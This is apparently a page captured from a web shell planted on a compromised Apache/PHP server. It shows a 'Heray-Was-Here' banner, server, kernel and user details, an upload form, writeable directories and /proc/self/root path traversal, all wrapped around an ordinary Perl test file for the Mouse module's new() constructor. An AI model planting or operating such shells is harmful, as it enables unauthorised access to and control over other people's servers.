Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Mouse/t/001_mouse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Mouse/t/001_mouse/029-new.t
#!/usr/bin/perl
use strict;
use warnings;
use Test::More tests => 7;
use Test::Exception;

do {
    package Class;
    use Mouse;

    has x => (
        is => 'bare',
    );

    has y => (
        is => 'ro',
    );

    has z => (
        is => 'rw',
    );
};

my $object = Class->new({x => 1, y => 2, z => 3});
is($object->{x}, 1);
is($object->y, 2);
is($object->z, 3);

throws_ok {
    Class->new('non-hashref scalar');
} qr/Single parameters to new\(\) must be a HASH ref/;

throws_ok {
    Class->new(undef);
} qr/Single parameters to new\(\) must be a HASH ref/;

Class->meta->make_immutable;

throws_ok {
    Class->new([]);
} qr/Single parameters to new\(\) must be a HASH ref/;

throws_ok {
    Class->new(Class->new);
} qr/Single parameters to new\(\) must be a HASH ref/;

Hry